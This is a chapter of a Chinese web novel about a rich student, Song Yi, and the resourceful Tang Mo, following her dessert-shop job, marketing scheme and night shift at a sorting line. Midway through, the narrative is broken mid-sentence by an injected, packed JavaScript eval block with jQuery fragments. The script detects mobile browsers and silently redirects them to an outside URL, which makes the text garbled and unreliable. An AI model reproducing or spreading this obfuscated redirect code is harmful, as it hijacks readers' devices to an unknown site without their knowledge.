宋抑思考了良久，“如果我没有利用价值了，你不会跟我吵架，而是连一个字都不想留给我。”
“告诉我吧，有什么我有的可以为你创造价值，不要再用这种态度对待我了，求你。”
最后的两个字是用气音说出来的。
宋抑突然觉得自己很陌生，竟然被支配着把事情发展成这样，这段时间莫名奇妙地每天都是她的身影。
做的梦连成一条线，像是走马灯。
初遇对方那张脸带着毫不掩饰的笑意，向他推荐学校的健身卡，没有别人那样的市侩和急促，像是在陈述一样事实，真心地推荐。
真挚，所以吸引了虚伪的家伙。
他站在原地听了很久很久，才在对方口干舌燥等自己发话时回过神来，委婉表示这家健身房就是自己投资的。
脾气再好的人被这样惹也会炸毛，但十八岁的唐墨并没有什么其他的过激行为，顶多无语地沉默一会，抬腿就要走。
后来他喊住了她，提议她加入学生会，来提自己做事，嘴上承诺着不会让对方干脏活累活，干卑躬屈膝，讨好他人的事情。
但这其实才是最终目的。
宋抑就是看上了她的不卑不亢，看上了她对钱的渴望，所以才认定对方会成为圈子里其他富少小姐生活足够有趣的调剂品。
原本以为她会在意识到接触的人财力后，彻底专注在圈子内发展。
但在很长时间内，除了活动时间，宋抑还是看不见她的人影。
直到某一次市中心广场新开的一家联名甜品店风靡整个京城，宋抑为了晚上聚会的女孩们需求，和几个朋友顺路一起去买。
蛇尾长队从甜品店门口排到了电梯口，宋抑当时就觉得心一凉，但最终还是动用了钞能力，和已经接近柜台的人换了位置。
最终在柜台前利落打包，速度极快的店员对上视线。
竟然是唐墨。
宋抑趁着站在她面前的时候搭话，“怎么来这里兼职了？时薪多少？”
唐墨抬头看他一眼，有些意外地认出了他，然后低头继续切面包装袋，“时薪十块，是不是很离谱。”
“十块？”宋抑震惊了，“这你也干？不去劳动中心投诉吗？”
唐墨却没当一回事，“这工作很轻松，无非就是切切面包，摆摆货架，比起搬货，一小时十块已经挺好了，总不能为了一小时十八累个半死吧。”
她在围裙上擦了擦刚洗完手的水珠，去烤箱里端下一批麻薯，宋抑有些复杂地看着她的背影，“学生会的收入不够吗？我还可以给你介绍其他高薪工作。”
唐墨的身影愣了愣，转过身和他对上视线，“你是说去酒吧当服务生吗？”
“你怎么知道？”宋抑瞳孔震了震，试图解释，“你不愿意吗？它不是不正经的交易，不会出现你想的那种情况...”
唐墨叹了口气，摊开手，“因为之前也有人说要介绍我去，说实话，我也并不是很漂亮，也并不擅长和人说好话，哪天得罪了谁，估摸着在京城都站不住脚了。”
“而且，做服务生并不符合我的人生规划，它对我未来的生活和工作并没有任何作用。”
宋抑心中被不满堆积，心中嘲讽，难不成你时薪十块的工作就有前途，对你有帮助吗？
愚蠢。
他想了想，对这个自以为是的女人放弃了拯救的想法，带着装好的甜品离去。
但没有想到在凌晨他们一行人从ktv醉醺醺地出来时，罗琳琳等人还没吃够，怒骂宋抑不够大方，就整了限购的三份甜品，几个女生都不够分。
叫嚷着大半夜还要去买，就算排队排到天亮还要买。
宋抑头疼的不行，对着一群醉鬼没有任何办法，但又逢家中困难必须要这群人接济的程度，只能哄着他们去已经黑掉的广场看看。
出乎意料的，那一家前不久才去过的门店还亮着灯。
熟悉的人影仍然在进行打包工作。
这个点学校的门禁早就开了，唐墨要怎么回去？
宋抑皱着眉走到了门口，敲了敲玻璃柜台，才把对方的视线吸引过来。
后边大半个商铺的灯是暗的，就剩她一个人了。
“你什么时候回去？已经快一点了。”
唐墨又把头低下去继续装，“通宵，不回去了，还没装完。”
“就为了每小时十块钱？有必要吗？你明天学都不上了？”宋抑不可置信，不明白这个人为什么会不明事理到这种地步。
唐墨倒是又叹了一口气，像看傻子一样看向他，欲言又止，最终还是眼见地先锁定了后边走得摇摇晃晃的罗琳琳几个大小姐。
把右手边已经用更加精致包装包好的小四层蛋糕塔端了出去，嘴角勾起温和的笑容，像是哄小孩一样，揉了揉罗琳琳的头，放在了她的怀里。
“拿去吃吧。”
“喂，我听说黄心怡她们给你的代购费是多少来着？十万？给我个账户号...”
说着她就摆弄起手机来，但是因为喝太多，甚至连手机屏幕锁密码都输不对，从包里去找卡还差点跌倒。
“不用了，宋抑给过了。”
宋抑有点懵，但看着罗琳琳理直气壮对他满意地点点头，最终还是没有把解释脱口而出。
聚餐的这群人对唐墨都有印象，也没有看不起的意思，围到了店铺旁边转悠了会，就散了。
各回各家。
只有宋抑还留在原地，“你还靠这个赚代购费？”
唐墨在最后一次检查灯光和后厨的一切，“我先说好，我可没有漫天要价，都是原价给的，但是她们执意不愿意欠人。”
“嗯，”宋抑沉默一会，“你来这里干，就是找到了这个商机？”
“我发现你最近很喜欢管我的事。”唐墨突然把头转过来，停下了手里的活，那双眼睛在黑暗里亮的可怕，“是因为见到了奇行种很好奇，还是有什么别的意图？”
宋抑笑得很耐人寻味，“我只是觉得你看起来很聪明，但有时候又表现的很傻，会人情世故，但好像又不会，而且你现在在大家眼里都是‘我带来的人’，所以我害怕你误入歧途。”
唐墨把用过的裱花袋丢进了厨余垃圾的分类，收拾起了刮刀，“你的担心多余了，不过看在你家里最近五年内不会破产，我就不用担心你来抢我的饭碗了。”
“我一开始就不是奔着代购费来的，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16703946|183808||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这一类的费用还要感谢你给我介绍的人脉，所以我悄悄告诉你。”
明明是说秘密，她却并没有放低声音，“是我和甜品店老板建议的，饥饿营销，还有完全不一样的新式甜品，是我参照了和你们出去见过的分子料理，进行了优选结合后，再通过网络宣传掀起的热潮，我拿三分分成。”
“这里缺少人手，但是为了防止友商进行剽窃迅速做出相似的产品，我才来这里充当苦力，等到招到靠谱的人，我就会走。”
“所以，我说过，我做我的兼职，赚的真的比你们酒吧的服务生多。”
宋抑听得一愣一愣的，难怪大小姐们也会对这些平时吃起来甜腻的甜品着迷，这根本就是她们吃惯了的高档餐厅食物改良加上平常甜品形式的大份量款。
所以才会，毫无抵抗力地疯狂迷恋。
“你...真的很聪明。”
唐墨接受夸赞倒是很爽快，随口回答，“谢谢，不过真热潮只是一阵的，当新鲜感消失后，一切都会回归平静。”
宋抑主动帮忙提走了最后一袋垃圾，看着唐墨关卷帘门，调试监控，“之后还会一直通过蛋糕店赚钱吗？”
唐墨的脸色有点奇怪，从上到下打量了他一遍。
宋抑很奇怪，“怎么了？看什么？”
“果然不是商人家的少爷，”唐墨摊开手解释，“你要知道，大批大批的人追求热点，往后的很久都不会再轮回来，甜品店这一次爆红之后，不论再出来多么美味貌美的新品，也不会有现在这么多人买单了。”
“毕竟绝大多数的人吃甜品的频率并不高。”宋抑也明白过来，对着她笑得很无奈，“那你接下来呢？要怎么办？”
这下觉得奇怪的是唐墨了，“你难不成是在套我的话吗？我怎么可能只干一份兼职。”
“大少爷半夜不回家，难不成想和我一起去流水线搬货？”
宋抑再一次震惊地瞪大了双眼。
＊
于是他们在凌晨两点到达了郊区的分拣流水线，这里夜间也在加班，每隔几米就站了个人，没有直接搬货，倒像是在等待着什么。
说实话，这是宋抑第一次来这种地方，出租车驶到黑漆漆的大门口时，他有一瞬间觉得唐墨其实只是找了一个理由想要把他拐卖了。
现在，他则是想一只躲在母鸡身后的小鸡，尽量放轻了脚步，不打扰流水线上其他的游魂，来到了总闸机面前。
然后噼里啪啦的键盘声就响了起开，本就静的只有搬运声的车间完全被这种清脆的声音填满。
宋抑再次被吓了一跳，不可置信地把刚才好不容易分出神偷看的目光重新放在了这个可怕的家伙身上。
“你在干什么！”宋抑用气音大声问。
“你怎么总是一惊一乍的，”唐墨的视线没有离开屏幕，聚精会神地在任务管理器上敲出一条又一条流畅的字符，“我在修系统啊，它一直在弹窗，出了bug。”
宋抑到此为止仍然不知道自己会被这个人的事迹恐吓多少次。
“你怎么知道它怎么改？你学的？还是现在金融专业也要选修这种东西？”
唐墨撇撇嘴，“因为这个系统是我写的啊。”